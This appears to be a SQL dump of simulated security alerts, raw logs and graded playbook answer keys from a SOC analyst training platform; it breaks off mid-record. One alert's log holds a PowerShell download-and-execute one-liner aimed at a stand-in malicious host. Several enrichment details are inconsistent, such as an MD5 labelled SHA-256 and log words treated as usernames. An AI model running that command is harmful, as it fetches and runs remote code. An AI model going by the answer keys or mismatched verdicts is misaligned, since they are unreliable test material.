-- https://www.phpmyadmin.net/
--

START TRANSACTION;



--
-- Database: `infosecl_platform`
--

-- --------------------------------------------------------

--
-- Table structure for table `alerts`
--

CREATE TABLE `alerts` (
  `id` int(11) NOT NULL,
  `title` varchar(255) NOT NULL,
  `severity` enum('low','medium','high','critical') NOT NULL,
  `source` varchar(255) DEFAULT NULL,
  `details` text DEFAULT NULL,
  `alert_type` varchar(100) DEFAULT NULL,
  `mitre_technique` varchar(100) DEFAULT NULL,
  `real_world_example` tinyint(1) DEFAULT 0,
  `status` varchar(50) DEFAULT 'new',
  `assigned_to` int(11) DEFAULT NULL,
  `raw_log` text DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  `playbook_solution` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL,
  `difficulty` varchar(50) DEFAULT 'Beginner',
  `path_code` varchar(20) DEFAULT NULL,
  `min_level` int(11) DEFAULT 1,
  `is_ai_generated` tinyint(1) DEFAULT 0,
  `sector_code` varchar(50) DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `organization_id` int(11) DEFAULT NULL,
  `simulation_data` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL,
  `is_archived` tinyint(1) DEFAULT 0
) ;

--
-- Dumping data for table `alerts`
--

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(166, 'Unauthorized Access Attempt Detected on Company Database', 'high', 'AWS CloudTrail', 'A suspicious login attempt was detected on the company\'s AWS RDS instance, likely indicating a brute force attack. Attackers often attempt multiple logins in a short period of time to guess passwords. Example citation: The 2017 MongoDB ransom attacks where attackers accessed databases using weak passwords.', 'Brute Force', 'T1110', 1, 'investigating', 44, '{\"eventVersion\":\"1.07\",\"userIdentity\":{\"type\":\"IAMUser\",\"principalId\":\"AWS:123456789012:user/JohnDoe\",\"arn\":\"arn:aws:iam::123456789012:user/UnauthorizedAccessUser\",\"accountId\":\"123456789012\",\"userName\":\"UnauthorizedAccessUser\"},\"eventTime\":\"2023-11-06T19:37:18Z\",\"eventSource\":\"rds.amazonaws.com\",\"eventName\":\"LoginAttempt\",\"awsRegion\":\"us-west-2\",\"sourceIPAddress\":\"203.0.113.42\",\"userAgent\":\"aws-sdk-java/1.11.792 Linux/5.4.0-1029-aws OpenJDK_64-Bit_Server_VM/11.0.10+9-LTS java/11.0.10\",\"requestParameters\":{\"dBInstanceIdentifier\":\"companydb\",\"masterUserName\":\"admin\"},\"responseElements\":null,\"additionalEventData\":{\"LoginStatus\":\"Failed\",\"FailureReason\":\"IncorrectPassword\"},\"requestID\":\"cd06a8b5-73e4-11e6-8b77-6b1937429304\",\"eventID\":\"1ae7e6c5-d901-4e48-b333-bb2d555766ef\",\"readOnly\":false,\"resources\":[{\"ARN\":\"arn:aws:rds:us-west-2:123456789012:db:companydb\",\"accountId\":\"123456789012\",\"type\":\"AWS::RDS::DBInstance\"}],\"eventType\":\"AwsApiCall\",\"recipientAccountId\":\"123456789012\"}', '2025-12-27 15:57:46', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 203.0.113.42 reported 211 times for malicious activity. Abuse confidence score: 99%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"123456789012\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"UnauthorizedAccessUser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"Failed\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_6\",\"type\":\"geolocation\",\"value\":\"us-west-2\",\"is_critical\":false,\"osint_result\":{\"source\":\"GeoIP Lookup\",\"verdict\":\"suspicious\",\"details\":\"Login from us-west-2 - unusual location for this user\'s typical access pattern.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"unknown\",\"analysis_notes\":\"High/Critical severity level\"}', 'Intermediate', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.798Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.07\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AWS:123456789012:user/JohnDoe\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/UnauthorizedAccessUser\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"UnauthorizedAccessUser\\\"},\\\"eventTime\\\":\\\"2023-11-06T19:37:18Z\\\",\\\"eventSource\\\":\\\"rds.amazonaws.com\\\",\\\"eventName\\\":\\\"LoginAttempt\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"203.0.113.42\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.792 Linux/5.4.0-1029-aws OpenJDK_64-Bit_Server_VM/11.0.10+9-LTS java/11.0.10\\\",\\\"requestParameters\\\":{\\\"dBInstanceIdentifier\\\":\\\"companydb\\\",\\\"masterUserName\\\":\\\"admin\\\"},\\\"responseElements\\\":null,\\\"additionalEventData\\\":{\\\"LoginStatus\\\":\\\"Failed\\\",\\\"FailureReason\\\":\\\"IncorrectPassword\\\"},\\\"requestID\\\":\\\"cd06a8b5-73e4-11e6-8b77-6b1937429304\\\",\\\"eventID\\\":\\\"1ae7e6c5-d901-4e48-b333-bb2d555766ef\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:rds:us-west-2:123456789012:db:companydb\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::RDS::DBInstance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.798Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.07\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AWS:123456789012:user/JohnDoe\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/UnauthorizedAccessUser\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"UnauthorizedAccessUser\\\"},\\\"eventTime\\\":\\\"2023-11-06T19:37:18Z\\\",\\\"eventSource\\\":\\\"rds.amazonaws.com\\\",\\\"eventName\\\":\\\"LoginAttempt\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"203.0.113.42\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.792 Linux/5.4.0-1029-aws OpenJDK_64-Bit_Server_VM/11.0.10+9-LTS java/11.0.10\\\",\\\"requestParameters\\\":{\\\"dBInstanceIdentifier\\\":\\\"companydb\\\",\\\"masterUserName\\\":\\\"admin\\\"},\\\"responseElements\\\":null,\\\"additionalEventData\\\":{\\\"LoginStatus\\\":\\\"Failed\\\",\\\"FailureReason\\\":\\\"IncorrectPassword\\\"},\\\"requestID\\\":\\\"cd06a8b5-73e4-11e6-8b77-6b1937429304\\\",\\\"eventID\\\":\\\"1ae7e6c5-d901-4e48-b333-bb2d555766ef\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:rds:us-west-2:123456789012:db:companydb\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::RDS::DBInstance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.798Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.07\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AWS:123456789012:user/JohnDoe\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/UnauthorizedAccessUser\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"UnauthorizedAccessUser\\\"},\\\"eventTime\\\":\\\"2023-11-06T19:37:18Z\\\",\\\"eventSource\\\":\\\"rds.amazonaws.com\\\",\\\"eventName\\\":\\\"LoginAttempt\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"203.0.113.42\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.792 Linux/5.4.0-1029-aws OpenJDK_64-Bit_Server_VM/11.0.10+9-LTS java/11.0.10\\\",\\\"requestParameters\\\":{\\\"dBInstanceIdentifier\\\":\\\"companydb\\\",\\\"masterUserName\\\":\\\"admin\\\"},\\\"responseElements\\\":null,\\\"additionalEventData\\\":{\\\"LoginStatus\\\":\\\"Failed\\\",\\\"FailureReason\\\":\\\"IncorrectPassword\\\"},\\\"requestID\\\":\\\"cd06a8b5-73e4-11e6-8b77-6b1937429304\\\",\\\"eventID\\\":\\\"1ae7e6c5-d901-4e48-b333-bb2d555766ef\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:rds:us-west-2:123456789012:db:companydb\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::RDS::DBInstance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.798Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.07\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AWS:123456789012:user/JohnDoe\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/UnauthorizedAccessUser\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"UnauthorizedAccessUser\\\"},\\\"eventTime\\\":\\\"2023-11-06T19:37:18Z\\\",\\\"eventSource\\\":\\\"rds.amazonaws.com\\\",\\\"eventName\\\":\\\"LoginAttempt\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"203.0.113.42\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.792 Linux/5.4.0-1029-aws OpenJDK_64-Bit_Server_VM/11.0.10+9-LTS java/11.0.10\\\",\\\"requestParameters\\\":{\\\"dBInstanceIdentifier\\\":\\\"companydb\\\",\\\"masterUserName\\\":\\\"admin\\\"},\\\"responseElements\\\":null,\\\"additionalEventData\\\":{\\\"LoginStatus\\\":\\\"Failed\\\",\\\"FailureReason\\\":\\\"IncorrectPassword\\\"},\\\"requestID\\\":\\\"cd06a8b5-73e4-11e6-8b77-6b1937429304\\\",\\\"eventID\\\":\\\"1ae7e6c5-d901-4e48-b333-bb2d555766ef\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:rds:us-west-2:123456789012:db:companydb\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::RDS::DBInstance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.798Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.07\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AWS:123456789012:user/JohnDoe\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/UnauthorizedAccessUser\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"UnauthorizedAccessUser\\\"},\\\"eventTime\\\":\\\"2023-11-06T19:37:18Z\\\",\\\"eventSource\\\":\\\"rds.amazonaws.com\\\",\\\"eventName\\\":\\\"LoginAttempt\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"203.0.113.42\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.792 Linux/5.4.0-1029-aws OpenJDK_64-Bit_Server_VM/11.0.10+9-LTS java/11.0.10\\\",\\\"requestParameters\\\":{\\\"dBInstanceIdentifier\\\":\\\"companydb\\\",\\\"masterUserName\\\":\\\"admin\\\"},\\\"responseElements\\\":null,\\\"additionalEventData\\\":{\\\"LoginStatus\\\":\\\"Failed\\\",\\\"FailureReason\\\":\\\"IncorrectPassword\\\"},\\\"requestID\\\":\\\"cd06a8b5-73e4-11e6-8b77-6b1937429304\\\",\\\"eventID\\\":\\\"1ae7e6c5-d901-4e48-b333-bb2d555766ef\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:rds:us-west-2:123456789012:db:companydb\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::RDS::DBInstance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(216, 'Suspicious PowerShell Execution Detected', 'high', 'process', 'A potentially malicious PowerShell script execution was detected. The script attempted to bypass execution policies and downloaded dangerous payloads.', 'exec_anomaly', 'T1059.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-29T14:32:45Z\",\"host\":\"workstation123.company.local\",\"user\":{\"username\":\"jdoe\",\"domain\":\"company\"},\"process\":{\"name\":\"powershell.exe\",\"pid\":3489,\"cmdline\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.example.com/payload.ps1\')\",\"file_hash\":{\"sha256\":\"d41d8cd98f00b204e9800998ecf8427e\"}},\"network\":{\"src_ip\":\"192.168.1.105\",\"dest_ip\":\"198.51.100.22\"},\"alert_triggered\":true,\"tags\":[\"scripting\",\"execution_policy_bypass\"]}', '2025-12-23 05:51:29', '2026-02-15 08:29:35', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Network Analysis\",\"verdict\":\"internal\",\"details\":\"192.168.1.105 is a private/internal IP address (RFC 1918). This is an internal network address and cannot be looked up in external threat intelligence. Investigate internal logs for activity from this host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 198.51.100.22 reported 599 times for malicious activity. Abuse confidence score: 94%.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":null,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"workstation123.company.local\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"50/94 security vendors flagged this domain as malicious.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":null,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"60/72 security vendors identified this file as malware.\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"powershell.exe\",\"is_critical\":null,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"File exhibits behavior consistent with malware: persistence mechanisms, network callbacks, code injection.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"High/Critical severity level; Alert type indicates malware/C2 activity; Alert type indicates suspicious script execution\"}', 'Advanced', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(217, 'Suspicious Remote Login Attempt Detected', 'high', 'Windows Security Log', 'A remote login attempt was detected from a suspicious IP address. This matches known brute force attack patterns. Refer to CVE-2019-0708 for similar incidents of brute forcing over remote desktop services.', 'Brute Force', 'T1110', 1, 'Closed', 225, '{\"ProviderName\":\"Microsoft-Windows-Security-Auditing\",\"EventID\":4625,\"Level\":\"Warning\",\"Category\":\"Logon\",\"TimeCreated\":\"2023-10-05T21:34:22Z\",\"EventRecordID\":87654321,\"RemoteIP\":\"203.0.113.45\",\"User\":\"NotAvailable\",\"WorkstationName\":\"RDP-SERVER\",\"FailureReason\":\"Unknown user name or bad password\",\"LogonType\":3,\"LogonProcessName\":\"Advapi\",\"AuthenticationPackageName\":\"Negotiate\",\"ServiceName\":\"RDP/RDGateway\",\"ProcessID\":680,\"SubStatus\":\"0xC000006A\",\"NetworkAccountName\":\"Guest\",\"NetworkAccountDomain\":\"LOCAL\",\"WorkstationUniqueId\":\"uuid-123e4567-e89b-12d3-a456-426614174000\"}', '2026-01-06 12:54:13', '2026-03-07 11:54:10', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 203.0.113.45 reported 165 times for malicious activity. Abuse confidence score: 76%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"NotAvailable\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"Guest\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"LOCAL\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"unknown\",\"analysis_notes\":\"High/Critical severity level\"}', 'Intermediate', 'SIEM', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.810Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"EventID\\\":4625,\\\"Level\\\":\\\"Warning\\\",\\\"Category\\\":\\\"Logon\\\",\\\"TimeCreated\\\":\\\"2023-10-05T21:34:22Z\\\",\\\"EventRecordID\\\":87654321,\\\"RemoteIP\\\":\\\"203.0.113.45\\\",\\\"User\\\":\\\"NotAvailable\\\",\\\"WorkstationName\\\":\\\"RDP-SERVER\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password\\\",\\\"LogonType\\\":3,\\\"LogonProcessName\\\":\\\"Advapi\\\",\\\"AuthenticationPackageName\\\":\\\"Negotiate\\\",\\\"ServiceName\\\":\\\"RDP/RDGateway\\\",\\\"ProcessID\\\":680,\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"NetworkAccountName\\\":\\\"Guest\\\",\\\"NetworkAccountDomain\\\":\\\"LOCAL\\\",\\\"WorkstationUniqueId\\\":\\\"uuid-123e4567-e89b-12d3-a456-426614174000\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.810Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"EventID\\\":4625,\\\"Level\\\":\\\"Warning\\\",\\\"Category\\\":\\\"Logon\\\",\\\"TimeCreated\\\":\\\"2023-10-05T21:34:22Z\\\",\\\"EventRecordID\\\":87654321,\\\"RemoteIP\\\":\\\"203.0.113.45\\\",\\\"User\\\":\\\"NotAvailable\\\",\\\"WorkstationName\\\":\\\"RDP-SERVER\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password\\\",\\\"LogonType\\\":3,\\\"LogonProcessName\\\":\\\"Advapi\\\",\\\"AuthenticationPackageName\\\":\\\"Negotiate\\\",\\\"ServiceName\\\":\\\"RDP/RDGateway\\\",\\\"ProcessID\\\":680,\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"NetworkAccountName\\\":\\\"Guest\\\",\\\"NetworkAccountDomain\\\":\\\"LOCAL\\\",\\\"WorkstationUniqueId\\\":\\\"uuid-123e4567-e89b-12d3-a456-426614174000\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.810Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"EventID\\\":4625,\\\"Level\\\":\\\"Warning\\\",\\\"Category\\\":\\\"Logon\\\",\\\"TimeCreated\\\":\\\"2023-10-05T21:34:22Z\\\",\\\"EventRecordID\\\":87654321,\\\"RemoteIP\\\":\\\"203.0.113.45\\\",\\\"User\\\":\\\"NotAvailable\\\",\\\"WorkstationName\\\":\\\"RDP-SERVER\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password\\\",\\\"LogonType\\\":3,\\\"LogonProcessName\\\":\\\"Advapi\\\",\\\"AuthenticationPackageName\\\":\\\"Negotiate\\\",\\\"ServiceName\\\":\\\"RDP/RDGateway\\\",\\\"ProcessID\\\":680,\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"NetworkAccountName\\\":\\\"Guest\\\",\\\"NetworkAccountDomain\\\":\\\"LOCAL\\\",\\\"WorkstationUniqueId\\\":\\\"uuid-123e4567-e89b-12d3-a456-426614174000\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.810Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"EventID\\\":4625,\\\"Level\\\":\\\"Warning\\\",\\\"Category\\\":\\\"Logon\\\",\\\"TimeCreated\\\":\\\"2023-10-05T21:34:22Z\\\",\\\"EventRecordID\\\":87654321,\\\"RemoteIP\\\":\\\"203.0.113.45\\\",\\\"User\\\":\\\"NotAvailable\\\",\\\"WorkstationName\\\":\\\"RDP-SERVER\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password\\\",\\\"LogonType\\\":3,\\\"LogonProcessName\\\":\\\"Advapi\\\",\\\"AuthenticationPackageName\\\":\\\"Negotiate\\\",\\\"ServiceName\\\":\\\"RDP/RDGateway\\\",\\\"ProcessID\\\":680,\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"NetworkAccountName\\\":\\\"Guest\\\",\\\"NetworkAccountDomain\\\":\\\"LOCAL\\\",\\\"WorkstationUniqueId\\\":\\\"uuid-123e4567-e89b-12d3-a456-426614174000\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.810Z\",\"source\":\"Security\",\"event_code\":\"4625\",\"message\":\"An account failed to log on. Account: admin. Failure Reason: Unknown user name or bad password. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"EventID\\\":4625,\\\"Level\\\":\\\"Warning\\\",\\\"Category\\\":\\\"Logon\\\",\\\"TimeCreated\\\":\\\"2023-10-05T21:34:22Z\\\",\\\"EventRecordID\\\":87654321,\\\"RemoteIP\\\":\\\"203.0.113.45\\\",\\\"User\\\":\\\"NotAvailable\\\",\\\"WorkstationName\\\":\\\"RDP-SERVER\\\",\\\"FailureReason\\\":\\\"Unknown user name or bad password\\\",\\\"LogonType\\\":3,\\\"LogonProcessName\\\":\\\"Advapi\\\",\\\"AuthenticationPackageName\\\":\\\"Negotiate\\\",\\\"ServiceName\\\":\\\"RDP/RDGateway\\\",\\\"ProcessID\\\":680,\\\"SubStatus\\\":\\\"0xC000006A\\\",\\\"NetworkAccountName\\\":\\\"Guest\\\",\\\"NetworkAccountDomain\\\":\\\"LOCAL\\\",\\\"WorkstationUniqueId\\\":\\\"uuid-123e4567-e89b-12d3-a456-426614174000\\\"}\"}],\"query\":\"index=main source=\\\"Security\\\" | head 100\"}}', 0),
(218, 'Unauthorized Access to Admin Panel', 'high', 'web_application', 'A user attempted to access the admin panel without appropriate credentials.', 'unauthorized_access', 'T1078.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T15:34:59Z\",\"event_id\":\"WEB-302\",\"user_id\":\"guest_user\",\"ip_address\":\"192.168.1.100\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\",\"request_method\":\"POST\",\"requested_url\":\"/admin\",\"response_code\":403,\"message\":\"Access denied. User lacks permission for admin panel access.\"}', '2025-12-24 08:36:25', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Network Analysis\",\"verdict\":\"internal\",\"details\":\"192.168.1.100 is a private/internal IP address (RFC 1918). This is an internal network address and cannot be looked up in external threat intelligence. Investigate internal logs for activity from this host.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"guest_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"unknown\",\"analysis_notes\":\"High/Critical severity level\"}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.811Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 